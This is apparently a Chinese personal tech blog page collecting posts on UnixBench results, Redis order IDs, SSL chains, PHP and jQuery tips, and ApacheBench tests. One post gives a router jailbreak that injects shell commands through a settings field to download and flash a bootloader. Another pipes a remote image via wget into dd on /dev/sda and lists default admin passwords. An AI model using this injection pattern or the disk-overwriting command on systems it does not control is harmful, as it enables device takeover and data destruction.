我的收藏

【在线手册】

在线手册

我的简历

发表在 php语言 | 2条评论

unixbench安装以及测试结果

apt-get install libxext-dev
apt-get install libgl1-mesa-dev
https://github.com/kdlucas/byte-unixbench/archive/v5.1.3.tar.gz
tar xvf byte-unixbench-5.1.3.tar.gz
cd byte-unixbench-5.1.3/UnixBench/
make
./Run

Pcduino litle wifi

========================================================================
   BYTE UNIX Benchmarks (Version 5.1.3)

   System: ubuntu: GNU/Linux
   OS: GNU/Linux -- 3.4.29+ -- #2 PREEMPT Mon Oct 14 11:08:37 CST 2013
   Machine: armv7l (armv7l)
   Language: en_US.utf8 (charmap="ANSI_X3.4-1968", collate="ANSI_X3.4-1968")
   03:56:56 up 11:56,  3 users,  load average: 0.12, 0.13, 0.14; runlevel 2

------------------------------------------------------------------------
Benchmark Run: Wed Jan 18 2017 03:56:56 - 04:25:09
0 CPUs in system; running 1 parallel copy of tests

Dhrystone 2 using register variables        3679393.6 lps   (10.0 s, 7 samples)
Double-Precision Whetstone                      203.4 MWIPS (10.2 s, 7 samples)
Execl Throughput                                782.2 lps   (29.9 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks         92321.2 KBps  (30.1 s, 2 samples)
File Copy 256 bufsize 500 maxblocks           31861.1 KBps  (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks        165615.5 KBps  (30.5 s, 2 samples)
Pipe Throughput                              294657.0 lps   (10.0 s, 7 samples)
Pipe-based Context Switching                  71320.2 lps   (10.0 s, 7 samples)
Process Creation                               2851.9 lps   (30.0 s, 2 samples)
Shell Scripts (1 concurrent)                   1179.9 lpm   (60.0 s, 2 samples)
Shell Scripts (8 concurrent)                    152.2 lpm   (60.3 s, 2 samples)
System Call Overhead                         613736.0 lps   (10.0 s, 7 samples)

System Benchmarks Index Values               BASELINE       RESULT    INDEX
Dhrystone 2 using register variables         116700.0    3679393.6    315.3
Double-Precision Whetstone                       55.0        203.4     37.0
Execl Throughput                                 43.0        782.2    181.9
File Copy 1024 bufsize 2000 maxblocks          3960.0      92321.2    233.1
File Copy 256 bufsize 500 maxblocks            1655.0      31861.1    192.5
File Copy 4096 bufsize 8000 maxblocks          5800.0     165615.5    285.5
Pipe Throughput                               12440.0     294657.0    236.9
Pipe-based Context Switching                   4000.0      71320.2    178.3
Process Creation                                126.0       2851.9    226.3
Shell Scripts (1 concurrent)                     42.4       1179.9    278.3
Shell Scripts (8 concurrent)                      6.0        152.2    253.6
System Call Overhead                          15000.0     613736.0    409.2
                                                                   ========
System Benchmarks Index Score                                         210.3

树莓派 Raspberry pi

========================================================================
   BYTE UNIX Benchmarks (Version 5.1.3)

   System: pi: GNU/Linux
   OS: GNU/Linux -- 4.1.19+ -- #858 Tue Mar 15 15:52:03 GMT 2016
   Machine: armv6l (unknown)
   Language: en_US.utf8 (charmap="ANSI_X3.4-1968", collate="ANSI_X3.4-1968")
   CPU 0: ARMv6-compatible processor rev 7 (v6l) (0.0 bogomips)

   11:59:31 up 2 days, 23:22,  4 users,  load average: 1.37, 1.01, 1.11; runlevel 2

------------------------------------------------------------------------
Benchmark Run: Wed Jan 18 2017 11:59:31 - 12:28:48
1 CPU in system; running 1 parallel copy of tests

Dhrystone 2 using register variables        1153340.6 lps   (10.0 s, 7 samples)
Double-Precision Whetstone                      241.6 MWIPS (9.9 s, 7 samples)
Execl Throughput                                133.5 lps   (29.8 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks         23426.9 KBps  (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks            7382.2 KBps  (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks         60518.4 KBps  (30.0 s, 2 samples)
Pipe Throughput                              101870.2 lps   (10.0 s, 7 samples)
Pipe-based Context Switching                  11480.0 lps   (10.0 s, 7 samples)
Process Creation                                337.2 lps   (30.0 s, 2 samples)
Shell Scripts (1 concurrent)                    251.3 lpm   (60.1 s, 2 samples)
Shell Scripts (8 concurrent)                     30.2 lpm   (61.6 s, 2 samples)
System Call Overhead                         245877.9 lps   (10.0 s, 7 samples)

System Benchmarks Index Values               BASELINE       RESULT    INDEX
Dhrystone 2 using register variables         116700.0    1153340.6     98.8
Double-Precision Whetstone                       55.0        241.6     43.9
Execl Throughput                                 43.0        133.5     31.0
File Copy 1024 bufsize 2000 maxblocks          3960.0      23426.9     59.2
File Copy 256 bufsize 500 maxblocks            1655.0       7382.2     44.6
File Copy 4096 bufsize 8000 maxblocks          5800.0      60518.4    104.3
Pipe Throughput                               12440.0     101870.2     81.9
Pipe-based Context Switching                   4000.0      11480.0     28.7
Process Creation                                126.0        337.2     26.8
Shell Scripts (1 concurrent)                     42.4        251.3     59.3
Shell Scripts (8 concurrent)                      6.0         30.2     50.3
System Call Overhead                          15000.0     245877.9    163.9
                                                                   ========
System Benchmarks Index Score                                          56.9

Digitalocean 512M

========================================================================
   BYTE UNIX Benchmarks (Version 5.1.3)

   System: debian-512mb-sfo2-01: GNU/Linux
   OS: GNU/Linux -- 4.9.0-040900rc8-generic -- #201612051443 SMP Mon Dec 5 19:45:51 UTC 2016
   Machine: x86_64 (unknown)
   Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
   CPU 0: Intel(R) Xeon(R) CPU E5-2650L v3 @ 1.80GHz (3600.0 bogomips)
          x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
   12:16:15 up 34 days, 22:37,  1 user,  load average: 0.00, 0.00, 0.00; runlevel 2

------------------------------------------------------------------------
Benchmark Run: Wed Jan 18 2017 12:16:15 - 12:44:28
1 CPU in system; running 1 parallel copy of tests

Dhrystone 2 using register variables       25023320.3 lps   (10.0 s, 7 samples)
Double-Precision Whetstone                     2935.3 MWIPS (9.9 s, 7 samples)
Execl Throughput                               3534.2 lps   (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks        870384.4 KBps  (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks          242078.0 KBps  (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks       1871082.4 KBps  (30.0 s, 2 samples)
Pipe Throughput                             1667623.2 lps   (10.0 s, 7 samples)
Pipe-based Context Switching                 249978.5 lps   (10.0 s, 7 samples)
Process Creation                               9881.8 lps   (30.0 s, 2 samples)
Shell Scripts (1 concurrent)                   6111.9 lpm   (60.0 s, 2 samples)
Shell Scripts (8 concurrent)                    800.5 lpm   (60.0 s, 2 samples)
System Call Overhead                        2820704.9 lps   (10.0 s, 7 samples)

System Benchmarks Index Values               BASELINE       RESULT    INDEX
Dhrystone 2 using register variables         116700.0   25023320.3   2144.2
Double-Precision Whetstone                       55.0       2935.3    533.7
Execl Throughput                                 43.0       3534.2    821.9
File Copy 1024 bufsize 2000 maxblocks          3960.0     870384.4   2197.9
File Copy 256 bufsize 500 maxblocks            1655.0     242078.0   1462.7
File Copy 4096 bufsize 8000 maxblocks          5800.0    1871082.4   3226.0
Pipe Throughput                               12440.0    1667623.2   1340.5
Pipe-based Context Switching                   4000.0     249978.5    624.9
Process Creation                                126.0       9881.8    784.3
Shell Scripts (1 concurrent)                     42.4       6111.9   1441.5
Shell Scripts (8 concurrent)                      6.0        800.5   1334.2
System Call Overhead                          15000.0    2820704.9   1880.5
                                                                   ========
System Benchmarks Index Score                                        1299.4

Vpsfast 512M

========================================================================
   BYTE UNIX Benchmarks (Version 5.1.3)

   System: littlestart: GNU/Linux
   OS: GNU/Linux -- 3.2.0-4-amd64 -- #1 SMP Debian 3.2.41-2
   Machine: x86_64 (unknown)
   Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
   CPU 0: QEMU Virtual CPU version (cpu64-rhel6) (6585.1 bogomips)
          x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
   07:34:40 up 15:21,  1 user,  load average: 0.24, 0.25, 0.15; runlevel 2

------------------------------------------------------------------------
Benchmark Run: Wed Jan 18 2017 07:34:40 - 08:02:52
1 CPU in system; running 1 parallel copy of tests

Dhrystone 2 using register variables       37814112.0 lps   (10.0 s, 7 samples)
Double-Precision Whetstone                     4636.3 MWIPS (9.9 s, 7 samples)
Execl Throughput                               5593.4 lps   (29.9 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks       1373737.3 KBps  (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks          410763.0 KBps  (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks       2743005.2 KBps  (30.0 s, 2 samples)
Pipe Throughput                             3097094.7 lps   (10.0 s, 7 samples)
Pipe-based Context Switching                 513503.5 lps   (10.0 s, 7 samples)
Process Creation                              19219.9 lps   (30.0 s, 2 samples)
Shell Scripts (1 concurrent)                   9841.0 lpm   (60.0 s, 2 samples)
Shell Scripts (8 concurrent)                   1244.4 lpm   (60.0 s, 2 samples)
System Call Overhead                        5295854.7 lps   (10.0 s, 7 samples)

System Benchmarks Index Values               BASELINE       RESULT    INDEX
Dhrystone 2 using register variables         116700.0   37814112.0   3240.3
Double-Precision Whetstone                       55.0       4636.3    843.0
Execl Throughput                                 43.0       5593.4   1300.8
File Copy 1024 bufsize 2000 maxblocks          3960.0    1373737.3   3469.0
File Copy 256 bufsize 500 maxblocks            1655.0     410763.0   2482.0
File Copy 4096 bufsize 8000 maxblocks          5800.0    2743005.2   4729.3
Pipe Throughput                               12440.0    3097094.7   2489.6
Pipe-based Context Switching                   4000.0     513503.5   1283.8
Process Creation                                126.0      19219.9   1525.4
Shell Scripts (1 concurrent)                     42.4       9841.0   2321.0
Shell Scripts (8 concurrent)                      6.0       1244.4   2074.0
System Call Overhead                          15000.0    5295854.7   3530.6
                                                                   ========
System Benchmarks Index Score                                        2187.2

其他我使用过的vps测试

发表在 服务器应用, 树莓派 | 标签为 , | 留下评论

破解最新版k2刷breed教程

一开始K2是可以连接telnet刷机的,后来官方出了新版固件封堵了这一漏洞,后来聪明的网友使用降级的方式来破解,又被官方封堵了,今天带来了不需要任何工具来刷breed,但是前提是,需要一个chrome浏览器,和路由器联网,以及原固件带有定时重启路由功能。
1.登录到路由器管理界面,点击右上角的电源按钮,选择定时重启。
2.点击启用定时功能
3.按F12(最新版的固件F12都禁止了,可以使用chrome的右上角的“菜单”-》“更多工具”-》“开发者工具”)
4.在Console里面黏贴下面的语句,每次运行一条然后按enter键

$("#timerebootmin").val("05 | wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin")
$("#timeRebootSave").click()
$("#timerebootmin").val("05 | mtd unlock Bootloader");
$("#timeRebootSave").click()
$("#timerebootmin").val("05 | mtd write breed-mt7620-phicomm-psg1208.bin Bootloader")
$("#timeRebootSave").click()

5.路由器断电
6.按住Reset键,插入电源,等待3秒,松开Reset,登录到192.168.1.1,可以看到breed恢复控制台,然后刷入自己想刷入的固件吧

发表在 经验分享 | 标签为 , | 留下评论

电商网站中生成订单号的正确方式

好久没写博客啦,前段时间备案网站一直处于关闭状态。顺便吐槽下,为什么备案需要关站,我觉得打开才对嘛,这样才能核实信息才对。

开始正文

一般我们生成订单号有以下几种方式

一.利用数据库的自增主键来生成唯一ID

二.使用时间戳,加上毫秒,甚至微秒。如果订单交易频率实在很高再加上一个随机数。

三.利用UUID、GUID生成唯一订单号。

……..

这几种方案的缺点

第一种,利用数据库解决,显而易见的是效率瓶颈,每次生成都有IO操作,IO是非常开销是非常巨大的,高峰期的时候完全承受不住。

第二种,虽然存在一定的互斥行为,抢同一订单号,虽然情况很少但是还是存在这些情况。

第三中,虽然解决了唯一但是并没有解决可读性问题。

我的方案

利用依靠redis内存数据库来解决这些问题,redis 中有个incr命令,该命令每次执行的时候都会对指定的KEY 的值进行加+1操作,而且是原子性的。这样每次调用命令生成的订单号都是不相同,但是这种方案还是有个缺点,很容易暴露系统的交易情况,猜出下一个订单号。我们可以在这基础上进行扩展,随机生成订单号,写入Redis,然后每次使用的时候进行获取操作,这样保证了订单号的随机性。 并且Redis可以将内存数据异步写入到磁盘中,避免单例服务器宕机的情况下依然可以从磁盘中恢复。

安装redis扩展

Mac OS X

brew install homebrew/php/php56-redis

代码实现

<?php
/**
 * Created by PhpStorm.
 * User: xiaoxingxing
 * Date: 2016/11/27
 * Time: 上午1:07
 */
//生产订单号
$redis = new Redis();//安装Redis扩展
$redis->connect("127.0.0.1");//建立连接
$date = date('Ymd');//订单号前缀,使用日期标识
$range_arr = range(1,100);//产生100个KEY数组
shuffle($range_arr);//数组打乱
foreach ($range_arr as $k=>$v) {//遍历插入
    $order_id = $date.str_pad($v,5,0,STR_PAD_LEFT);
    $redis->rPush('order_id',$order_id);// order_id  value1 value2
}
echo "Success";
<?php
/**
 * Created by PhpStorm.
 * User: xiaoxingxing
 * Date: 2016/11/27
 * Time: 上午10:37
 */
//消费订单号
$redis = new Redis();
$redis->connect("127.0.0.1");
$order_id = $redis->lPop('order_id');//移除并获取一个元素。
echo $order_id;
发表在 php语言 | 标签为 | 留下评论

Alpha SSL证书链(中间)证书安装

一,什么是证书链
SSL证书需要证书授权中心签发的证书才是可信的,浏览器所信任的证书是由ROOT CA签发。集成在浏览器里,随着系统更新而更新。

rootca

一般情况下我们的SSL,并不一定是由ROOT CA签发,更多的情况是由ROOT CA 的下一级签发(中间CA,Intermediate CA)

intermediateca

这样造成,我们虽然按照流程安装了SSL,但是还是表现为不可信。

二,安装中间证书

以AlphaSSL为例,在签发的时候会要求你到https://www.alphassl.com/support/install-root-certificate.html,选择合适的加密方式,然后复制到原有的crt文件底部。然后重启服务器,这样才能完成SSL的全部安装,安装完成后可以到https://www.ssllabs.com/ssltest/检测安装。

发表在 web服务器 | 留下评论

请使用str_getcsv替代explode解析csv

CSV格式提供了我们对数据的导入导出,对数据格式要求不严格的场景很适合,而且导出的数据excel可以直接打开,然后编辑重新导入。由于csv 每行使用“,”来分割每列自然会联想到explode 来转为数组便于操作,之前的项目中一直这么使用,可是最近有个功能需要判断该列为空,导入的数据是空的,我使用 $a == “”  来判断,用var_dump 下来的结果竟然是false ,试着采用empty竟然还是不为空,可是页面上确实没有显示,再次var_dump下 $a 发现长度为2,看来,有不可见 字符,查看页面源代码有&#13;&#10字符,对应ASCII是“\r\n”。

ascii

原来是回车换行符。虽然可以使用正则过滤,但是还是查了下去,有个str_getcsv 可以替代explode。返回值都是一样的。强烈建议使用这个函数替代,支持>=PHP5.3版本。

维基百科CSV

str_getcsv函数

发表在 php语言 | 标签为 | 留下评论

jquery序列号表单serialize如何排除元素

serialize(),可以序列化一个表单内容,在ajax提交表单很方便。但是,很多情况下用户的表单信息不是需要全都知道。比如信用卡账号和相关CVV码,这时候提交到我们后台前需要进行排除。

网上看到有这样使用的,不知道是版本问题还是我弄错了,然并卵。

$("form[name='forname']").not($("input[type='hidden']")).serialize();

改成

$("form[name='forname'] :not(#test1,#test2,#test3...........)").serialize();
发表在 web前端 | 标签为 , | 留下评论

正则验证巴西的cpf,cnpf,cep

CNPJ (公司税号)
CPF (个人税号)
CEf (邮编)


//cpf,cnpj
var cpf = /^\d{3}.\d{3}.\d{3}-\d{2}$/;
var cnpj = /^\d{2}.\d{3}.\d{3}\/\d{4}-\d{2}$/;


//cep
var cep = /^\d{5}-\d{3}$/;

这里有巴西的cnpf,cpf,cep测试信息。
https://developers.ebanx.com/integrations/testing/fake-customer-data/fake-brazilian-customer-data

发表在 web前端, 经验分享 | 留下评论

online2欧安装windows

刚刚在论坛上面收了一台2欧onlie的服务器,续费才1.99欧实在是值了,现在需要安装windows玩玩
1.进入恢复模式

微信截图_20160828233645

2.选择引导
选择ubuntu 12.4 然后点击
Click here to launch the rescue system
微信截图_20160828233536

3.获取账号密码

微信截图_20160828233511

这个页面不要关闭,也不要点击“Boot in normal mode”,按钮,不然又回到正常模式了。

4.登陆恢复模式

root@debian-512mb-sfo1-01:~# ssh sfsren@195.154.73.103

2003

wget -O- http://soft.lovekk.org/ISO/Windows/windows2003.32bit.raw | dd of=/dev/sda

2008

wget -O- http://soft.lovekk.org/ISO/Windows/windows2008.R2.raw | dd of=/dev/sda

dd完成后点击”Boot in normal mode”,系统会返回正常模式去引导,等待服务器ping通就可以用系统自带的mstsc程序远程连接了。

Windows Server 2003 登录账户密码如下:
用户: Administrator
密码:changeme

Windows Server 2008 R2登录账户密码如下:
用户: Administrator
密码: Changeme!!!

发表在 服务器应用, 经验分享 | 留下评论

onbeforeunload阻止用户关闭tab

<script src="http://libs.baidu.com/jquery/1.9.1/jquery.min.js"></script>
<script type="text/javascript">
   window.onbeforeunload = function () {
        $('#test').addClass('test'); // do function
        return false;
    }
    $(window).keydown(function(event) {
      if (event.keyCode == 116) {//按f5时页面自动重新加载
         window.onbeforeunload = null;
   }});
</script>     
<body>
    <div id="test"></div>
</body>

结果可以发现 id为 test的div ,添加了一个test的class。

发表在 web前端 | 标签为 | 留下评论

开启.htaccess重写规则对吞吐率的影响

关闭.htaccess

D:\xampp\apache\bin>ab -n 10000 -c 100 http://www.test.com/test.php
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.test.com (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests


Server Software:        Apache/2.2.22
Server Hostname:        www.test.com
Server Port:            80

Document Path:          /test.php
Document Length:        0 bytes

Concurrency Level:      100
Time taken for tests:   41.672 seconds
Complete requests:      10000
Failed requests:        0
Write errors:           0
Total transferred:      1880000 bytes
HTML transferred:       0 bytes
Requests per second:    239.97 [#/sec] (mean)
Time per request:       416.724 [ms] (mean)
Time per request:       4.167 [ms] (mean, across all concurrent requests)
Transfer rate:          44.06 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    1   0.9      1      16
Processing:   141  412  24.3    413     838
Waiting:      127  412  23.9    413     520
Total:        143  414  24.2    415     839

Percentage of the requests served within a certain time (ms)
  50%    415
  66%    418
  75%    421
  80%    422
  90%    427
  95%    433
  98%    459
  99%    492
 100%    839 (longest request)

开启.htaccess

D:\xampp\apache\bin>ab -n 10000 -c 100 http://www.test.com/test.php
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.test.com (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests


Server Software:        Apache/2.2.22
Server Hostname:        www.test.com
Server Port:            80

Document Path:          /test.php
Document Length:        0 bytes

Concurrency Level:      100
Time taken for tests:   42.438 seconds
Complete requests:      10000
Failed requests:        0
Write errors:           0
Total transferred:      1880000 bytes
HTML transferred:       0 bytes
Requests per second:    235.64 [#/sec] (mean)
Time per request:       424.380 [ms] (mean)
Time per request:       4.244 [ms] (mean, across all concurrent requests)
Transfer rate:          43.26 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    1   1.0      1      65
Processing:   140  420  31.5    419     789
Waiting:      126  420  31.3    419     727
Total:        142  422  31.5    420     791

Percentage of the requests served within a certain time (ms)
  50%    420
  66%    426
  75%    430
  80%    432
  90%    439
  95%    457
  98%    519
  99%    541
 100%    791 (longest request)

通过AB压力测试可以发现,未开启htaccess是吞吐率为239.97,开启htaccess吞吐率为235.64。
每秒相差4.33,对性能有稍微影响,但是影响不大,实际上htaccess受规则的影响很大,结果可能会更糟糕,建议多次测试取平均。

发表在 web服务器, 服务器应用 | 标签为 , | 留下评论